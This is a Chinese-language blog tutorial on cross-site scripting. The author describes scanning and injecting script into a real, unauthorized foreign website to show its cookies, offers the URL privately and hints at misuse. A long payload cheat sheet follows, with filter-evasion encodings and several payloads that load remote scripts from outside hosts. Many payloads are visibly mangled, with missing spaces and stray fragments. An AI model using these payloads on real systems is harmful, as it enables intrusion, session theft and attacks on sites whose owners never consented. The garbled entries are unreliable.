Xss(跨站脚本攻击)
今天 兽哥又给大家带来一份干货,关于xss漏洞问题
Xss是一种基于html属性的攻击 这是一种比较简单的方法 然而现在存在xss漏洞已经很少了
但是..注意 这里我用到了但是
我在挂代理 去国外找网站时 我发现某个渣渣国的很多很多网站存xss漏洞
随便掏了一个给大家做一下尝试 讲解原理
嗷嗷叫!!!!
拉出来safe3 输入某网站 跑一下
可以看到 真的是很多啊 还有sql注入漏洞
我随便选中一行把
这个很短 很舒服 我们就选它
我们来进行试验一下
这个网站 大体是这样的:
页面肯定正常显示, 我这里只做原理讲解 具体网址 我不方便放在这里 有需要的可以私聊
我提供给你方法
然后呢 咱们在URL后面随便输入ddd 按回车 页面正常显示 然后注意! !!!!!
一定注意
这里有个小技巧
按Ctrl+U 看网页源代码 然后呢 按Ctrl+F 在左下角输入框内搜索ddd字段
我们看一下ddd 这几个字符 出现在哪里
下图是具体页面:
各位,我们可以看到,它目前出现在蓝色的地方这 当然也有其他的地方也有ddd字段 我这里就不作截屏了 拿出来一个作为例子
我们可以看到 这段location.href ‘’ ;代码呢 是很简单的 我们只需要闭合 外加注释掉后面的就可以了 我们这样构造
那么这样一段代码 在源码的原理是什么呢 我们来看一下
location.href ‘’><script>alert(document,cookie)</script> -- ’;
前面黄色的呢 我用 ’> 将她 闭合掉了 后面的 ’; 我将它用 -- 注释掉了
然后执行我们的语句 <script>alert(document,cookie)</script>
这样 按enter键 我们看看会得到什么
没错 页面返回来 cookie值
得到cookie值我们能干嘛 你懂得 哈哈
收起邪恶的嘴脸:简单的来说 sql注入 就可以用到 联合cookie 注入方法
好了 今天 就到这里 谢谢各位收看
下面呢 是我整理的 xss语句:
【XSS基本探测pyload】
<script>alert(“xss”)</script>
<script>alert(/xss/)</script>//双引号换成斜杠
<script>alert(‘xss’)</script>//用单引号
<script>alert("xss");</script>//用分号
<script>alert(‘xss‘);</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车
单引号被过滤
<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
【JavaScript伪协议】回旋
<ahref="javascript:alert(/test/)">xss</a>
【javascript伪协议】回旋
<ahref="javascript:alert(/test/)">xss</a>
alert被过滤
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
【img标记】
<img src=xonerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://t.cn/R5UpyOt‘;>
on事件点击触发
//注意要用单引号 双引号不会触发
on事件点击触发
//注意要用单引号 双引号不会触发
【利用函数加密】
eval 函数配合编码
<script>eval(“js+16进制加密”)</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
编码要执行的语句↓
Alert(“xss”)
【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
标记eval(“编码”) 结束标记
【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>
【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>
【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————
<imgsrc=javascript:document.write(‘<scr‘+‘ipt src=\‘http://www.baidu.com/1.txt\‘></scr‘+‘ipt>‘)></img> //仅支持IE6
<imgsrc=javascript:window.s=document.createElement(‘script‘);window.s.src=‘http://lcx.cc/1.js‘;document.body.appendChild(window.s);></img> //仅支持IE6
<imgsrc="pdpdp.gif"></img> //通杀所有浏览器能触发xss
<img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss
<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<input autofocus="bbbb" />
<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe> ie不支持
<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>
<anchor>、<img>(不执行js)<a>(需点击) <meta>.....
<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">
<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
<baa id="1" tabindex=0>
(1)普通的XSS JavaScript注入
<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签
<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码
<IMG SRC=jav..省略..S‘)>
(9)7位的UTF-8的Unicode编码是没有分号的
<IMG SRC=jav..省略..S‘)>
(10)十六进制编码也是没有分号
<IMG SRC=\‘#\‘" /span>
(11)嵌入式标签,将Javascript分开
<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\‘#\‘" /span>
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符
perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标签
<IMG SRC=\‘#\‘"
javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODYonload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScriptXSS
<IMG SRC=\‘#\‘" /span>
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=\‘#\‘" /span>
(32)BODY Image
<BODYBACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY标签
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=\‘#\‘" /span>
(35)IMG Lowsrc
<IMG LOWSRC=\‘#\‘" /span>
(36)BGSOUND
<BGSOUND SRC=\‘#\‘" /span>
(37)STYLE sheet
<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=\‘#\‘"/STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=\‘#\‘" /IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=\‘#\‘"/FRAMESET>
(44)Table
<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image:url(javascript:alert(‘XSS’))”>
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE属性分拆表达
<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASEHREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\‘#\‘"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>